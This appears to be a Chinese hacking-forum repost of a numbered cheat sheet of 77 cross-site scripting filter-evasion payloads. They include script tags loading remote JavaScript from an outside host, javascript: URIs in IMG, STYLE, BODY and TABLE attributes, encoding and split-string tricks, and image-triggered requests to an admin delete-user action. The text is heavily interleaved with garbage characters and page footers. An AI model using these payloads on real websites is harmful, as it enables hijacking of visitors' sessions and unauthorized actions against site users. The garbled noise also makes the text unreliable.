貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。8 Q/ B5 j* l/ }1 @; e0 S; @2 C
(1)普通的XSS JavaScript注入# L- c' K K7 ]# Q8 n
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>3 e* W1 u% O$ p- y3 ^1 ~% ~
(2)IMG标签XSS使用JavaScript命令8 D8 X; q, b6 n3 C, I5 @
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>' |4 ?- ~9 y& q
(3)IMG标签无分号无引号; j. I8 `- Q& N6 G M. b& y# ]
<IMG SRC=javascript:alert(‘XSS’)>+ T# D" o' Y0 [6 b- l4 o
(4)IMG标签大小写不敏感
( h& t) @, P4 s" J<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
# J) T. w/ y6 k(5)HTML编码(必须有分号)
- x! _/ F C; C S; F& N<IMG SRC=javascript:alert(“XSS”)>9 N& S$ O2 s8 F* L$ c. u) ^
(6)修正缺陷IMG标签# G! |' `' e m1 u+ y
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”> |4 H0 K. \ ]& ~) o( g
0 m! S8 p/ `) g1 D, `
2 |; V% a! [/ l(7)formCharCode标签(计算器)
1 `" g5 V* s' L3 \5 d3 s<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>0 v& x" J% _- G# N# M
(8)UTF-8的Unicode编码(计算器)' g' {$ }$ n+ d; }- w4 j
<IMG SRC=jav..省略..S')>
) J6 x$ V& @: g2 R' E(9)7位的UTF-8的Unicode编码是没有分号的(计算器)9 I) w. i) Z7 e$ @ g) _1 P- t
<IMG SRC=jav..省略..S')>
0 b9 z% ~2 V s(10)十六进制编码也是没有分号(计算器)) Q+ [% f$ z3 h0 Z
<IMG SRC=java..省略..XSS')>; ]/ W* Q' r/ P" h. e
(11)嵌入式标签,将Javascript分开! x ?0 e4 c( L* L9 I% B" ?; R5 _
<IMG SRC=”jav ascript:alert(‘XSS’);”>+ A) d \; n# f3 ?) Y. @
(12)嵌入式编码标签,将Javascript分开
1 K$ w2 O& K; W8 x/ d2 j<IMG SRC=”jav ascript:alert(‘XSS’);”>1 v2 M$ Q; B" J
(13)嵌入式换行符
( {6 c H$ K' P% z" F" |3 d$ _4 ^<IMG SRC=”jav ascript:alert(‘XSS’);”>! _ q; y! _7 G( y$ g" I" Z) c
(14)嵌入式回车
2 }! W4 n4 J& |! t) h<IMG SRC=”jav ascript:alert(‘XSS’);”>/ r W$ \" ]6 F2 B, F( n
(15)嵌入式多行注入JavaScript,这是XSS极端的例子% R' V9 M7 t. }
<IMG SRC=”javascript:alert(‘XSS‘)”>
6 E8 J a" u3 e2 Q# _(16)解决限制字符(要求同页面)7 E! y$ p' W% }: c V
<script>z=’document.’</script>, @$ L( R: Q" |% j' d3 Q
<script>z=z+’write(“‘</script>
. Y% @, W: [! ~$ u Y<script>z=z+’<script’</script>
! I$ _9 g) L% m L V- b o9 O<script>z=z+’ src=ht’</script>
0 H# g O$ n0 y6 |/ ]6 }3 {' d<script>z=z+’tp://ww’</script>
0 D1 ?& r) A! U. N<script>z=z+’w.shell’</script>
7 Q5 h: o8 K1 ]! u4 C9 d3 @<script>z=z+’.net/1.’</script>; e. `% X2 u4 r; ?
<script>z=z+’js></sc’</script>4 W! B( C5 N l/ m; r v
<script>z=z+’ript>”)’</script>; }$ P8 U% \4 D
<script>eval_r(z)</script>0 V# f/ p3 _" C* P Y
(17)空字符12-7-1 T00LS - Powered by Discuz! Board( ]+ e( d, F- @
https://www.t00ls.net/viewthread ... table&tid=15267 2/6$ e& N) t5 K1 C+ [! q4 ^) g
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
9 V' L% s2 Y/ r# h8 F' a, Y7 e(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用( g; \$ i# K4 |+ h; S2 o5 g
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
. s9 q; |6 X% l8 N(19)Spaces和meta前的IMG标签
* w. p, {. k3 ~; V3 V$ H<IMG SRC=” javascript:alert(‘XSS’);”>
. a/ ^" Y. B3 y+ u; E& d' T(20)Non-alpha-non-digit XSS, X) [; g, o- H% }
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
# w' k7 ]! c d. z* H" E1 [) r/ h(21)Non-alpha-non-digit XSS to 25 v% v& y! N" M1 K' X4 `
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
5 a5 ^* S. [# n) f6 f/ ]3 w3 ~- W(22)Non-alpha-non-digit XSS to 3
6 l; S3 S0 V) g8 P<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
% C! q6 @. W7 i: H5 _$ S(23)双开括号. `5 v. @+ ~. n3 F4 n) y. E4 P$ _
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
7 Y) c9 j$ |' U7 o(24)无结束脚本标记(仅火狐等浏览器)3 X0 n1 c. c8 g' \4 a& y
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>* e6 p1 `% |7 H$ j: R6 |4 ` P
(25)无结束脚本标记27 d) t4 a0 v+ Q, V
<SCRIPT SRC=//3w.org/XSS/xss.js>9 f& L/ K, M( [
(26)半开的HTML/JavaScript XSS
( ^! p/ {' O8 }- k<IMG SRC=”javascript:alert(‘XSS’)”4 j5 j2 O8 U5 \5 [
(27)双开角括号- t6 k, l/ z- |" C% t
<iframe src=http://3w.org/XSS.html <
9 Z. i: s \+ r5 H4 _2 o(28)无单引号 双引号 分号+ A* O1 @- ]8 o' i5 L) Q( s
<SCRIPT>a=/XSS/
3 g* W+ G( ?* O! l& T P2 O$ malert(a.source)</SCRIPT>
9 O& i: y# K, q& m" Q0 H$ e(29)换码过滤的JavaScript1 s: E' Y" N6 |: f* o+ F/ J# s
\”;alert(‘XSS’);//8 B3 O, `3 J" `* U Q5 m! u* j
(30)结束Title标签& l% |/ ^6 r( n$ H7 b
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
3 r d4 @( r9 p(31)Input Image
* L8 ~( ?0 b- Z$ R7 }<INPUT SRC=”javascript:alert(‘XSS’);”>
! c9 o" \% E+ k: s8 C4 F- q1 ]7 g(32)BODY Image
! ?, o+ U9 i& J. x( t J<BODY BACKGROUND=”javascript:alert(‘XSS’)”>' F- G$ n, S9 o3 p' l
(33)BODY标签
" y. S1 ^# | ]0 i8 V, m9 t$ X<BODY(‘XSS’)>
" U! j9 h" _4 X& }8 i(34)IMG Dynsrc) U7 I& r& `4 U- X2 G& A0 _2 G
<IMG DYNSRC=”javascript:alert(‘XSS’)”>9 I) [& g( H) i( `: N
(35)IMG Lowsrc
. ?: K7 ]' M! P q$ q<IMG LOWSRC=”javascript:alert(‘XSS’)”>
$ k: ], O$ B `, Z4 ?$ {" T1 c$ H' A/ t(36)BGSOUND
) @4 b1 V0 B, H- W! i<BGSOUND SRC=”javascript:alert(‘XSS’);”>7 G% @, ?! W4 h4 j
(37)STYLE sheet% [" G) q& a w. H" z
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>( t, C M, {6 t0 P& V& W6 D8 @
(38)远程样式表
2 y4 _& r$ J J3 @. e* ~: l* a<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
% A- _4 l5 _4 C0 s/ n0 I* v; O(39)List-style-image(列表式)
$ G0 W. i7 ^) p4 [ O<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
, t2 q$ r, X" o(40)IMG VBscript
$ U* y! Y8 Y' u" w0 G: m4 \$ v<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
- ]" W* e. Z+ k( K% O! R& ]( I+ U(41)META链接url7 b3 g2 X" p* b% a! ]
1 J' W, Y T8 ]- U* n/ i0 q2 p
# g5 r) d7 _1 L0 c<META HTTP-EQUIV=”refresh” CONTENT=”0;
- d+ E) E& l7 Q5 k- N5 F% D. ]URL=http://;URL=javascript:alert(‘XSS’);”>, [6 s9 n- a( W9 L+ }
(42)Iframe- s, V0 c. |7 P+ B4 E( R) |
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>4 L9 X1 z( o# z
(43)Frame
# K5 T1 {1 J: T<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board
# t8 Z9 p& Z* v) H: Xhttps://www.t00ls.net/viewthread ... table&tid=15267 3/6
' `5 Y& Q( ~% K3 T+ \1 I(44)Table
- ?: Q- r. [' M( F7 p! g<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>8 B/ t3 r8 B6 B" }+ d' u
(45)TD$ Q, x3 a4 G: L4 G2 t8 g8 s; w
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
( \5 f4 C% z, v(46)DIV background-image) ^ W/ f$ z2 P7 ~+ B
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>; _2 f ^4 l7 J# Y( T5 ~9 E" W
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192- [9 r) O. x7 k0 Y
8&13&12288&65279)3 m* P1 a0 H) ?: t+ o$ u8 U
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>, L+ C( d( ]* t
(48)DIV expression+ E" L6 d* \5 Z9 n
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
* i: b5 h1 {" M6 B(49)STYLE属性分拆表达! u4 X+ G+ x. @7 p6 g) t
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
' V% L0 G$ K6 Y$ z9 X/ |2 `(50)匿名STYLE(组成:开角号和一个字母开头)* y- |- n" k5 a' G
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
% ~ ~0 L& c( `8 F9 \(51)STYLE background-image
6 h$ h, y5 C, v4 e2 B<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
3 O9 W* ~& ~, x- g: n x! SCLASS=XSS></A>
5 @1 {/ y$ j" ?2 i5 J. H8 r6 A(52)IMG STYLE方式
1 {- U- |/ z- b2 C. A o& Xexppression(alert(“XSS”))’>
8 }3 `6 w5 \* i. n1 P) B) p( m$ J(53)STYLE background4 O, N( p" \# F7 ]' g
<STYLE><STYLE
0 k6 j! p# \" U! Atype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>6 @; r* M' S$ y
(54)BASE: @1 n& Z+ P _, @! o
<BASE HREF=”javascript:alert(‘XSS’);//”>
) n5 n3 t$ F z/ t7 x" Z(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS8 V$ {$ z8 G4 t# i7 I
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
9 j- h) \9 Y$ G6 e' E# A(56)在flash中使用ActionScrpt可以混进你XSS的代码1 u s( \7 E( G$ |
a=”get”;: u) R6 ], Q; r/ M) I! U
b=”URL(\”";) B% w- B. n0 a6 g( L& H
c=”javascript:”;
, S, Q+ R3 o1 D; G' V% v& Cd=”alert(‘XSS’);\”)”;
* ~. W5 X: @! yeval_r(a+b+c+d);
' K! t% d" O, t V(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上# s0 U7 r0 m5 V8 t# n
<HTML xmlns:xss>
+ C- w6 p2 j% C+ d C<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>7 K9 r _3 ^% C u* j; V3 d; q
<xss:xss>XSS</xss:xss>
8 |% I! V/ f8 Z+ F</HTML>
! w) ?3 \; a: K* m! O+ l, G0 E( I/ [(58)如果过滤了你的JS你可以在图片里添加JS代码来利用, {5 b. l5 [5 Z5 ~) e
<SCRIPT SRC=””></SCRIPT>
0 x* y5 u' `+ h! j" R' u(59)IMG嵌入式命令,可执行任意命令
- ]) j) r f0 _1 V2 D<IMG SRC=”http://www.XXX.com/a.php?a=b”>& B( U. o- }- R/ o% ?6 y
(60)IMG嵌入式命令(a.jpg在同服务器)' V# ^9 r2 h1 o
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
- P7 w0 H0 |& i8 d( c(61)绕符号过滤
( [8 ]7 n" D: P( [! R) o<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
, y% U M3 Y2 c0 S1 h: }(62)( j- P) |/ a$ @6 ]1 d) b
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>* @; W" J/ G( c7 C _" e
(63)6 g3 r% Z3 A9 N: q, Q) n
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>* T3 \. t# L+ H7 r
(64). J' ^% @1 ^" Q7 ? n0 f s
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>. K& A- @$ e; P5 Q
(65): D$ `: u9 t( m! }4 P9 n) V5 ^6 u- n
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
0 J% u4 `7 C, t; L/ t- [(66)12-7-1 T00LS - Powered by Discuz! Board
4 u; m; `8 R! i/ x4 c0 i" u% t8 L; Q5 ohttps://www.t00ls.net/viewthread ... table&tid=15267 4/65 k2 v) f) S. ]
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>7 o; Q( L- e) q* |% i
(67)
% p9 t* |9 H( U* ~) c$ s S7 n<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”> l! N" I( P0 X
</SCRIPT>" ?) B9 @7 U: K+ U3 K0 w
(68)URL绕行& p: `6 Q) X/ z0 D- T4 _2 a
<A HREF=”http://127.0.0.1/”>XSS</A>
5 R5 o; u7 I0 x$ Z- l(69)URL编码4 ^0 d; H+ Y2 t p8 W: M
<A HREF=”http://3w.org”>XSS</A>: d+ X, Q# C6 }
(70)IP十进制
1 q% I9 P1 {+ ?4 W' p<A HREF=”http://3232235521″>XSS</A>+ ^+ Q0 t: I; ?2 L
(71)IP十六进制
( q- [1 K, |- C! ? b" k$ L% T W4 j<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>" Q2 l% H# ` ~, \' W- n' p
(72)IP八进制
. k8 s' d* L0 I. f0 F( H<A HREF=”http://0300.0250.0000.0001″>XSS</A>
1 P+ O3 K2 S |* ~; b9 V(73)混合编码$ p! e+ T: G1 Y
<A HREF=”h
6 F$ i- p( J% s4 T4 ztt p://6 6.000146.0×7.147/”">XSS</A>! S" \/ ~' I0 f
(74)节省[http:]
* ~) M# F* K& h+ q0 C& y+ U<A HREF=”//www.google.com/”>XSS</A>
+ x; T) w3 f0 c! f(75)节省[www]% D. r* b" N5 T( V* z6 I1 I# y
<A HREF=”http://google.com/”>XSS</A>
' \0 W: M# x% ~6 l+ V2 Y) N; `, T(76)绝对点绝对DNS
, [7 i7 t O3 }<A HREF=”http://www.google.com./”>XSS</A>+ {8 m7 O5 \8 ]7 C- i8 V
(77)javascript链接- I2 H! S) |% _6 T( t
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>3 R/ K5 o( Z7 G @: F$ H" \$ \! Z
( A5 s% T D0 f3 k# Y6 c6 M
原文地址:http://fuzzexp.org/u/0day/?p=143 r0 U2 U* X3 [) r
# p4 Y( C1 q! D! v' [ |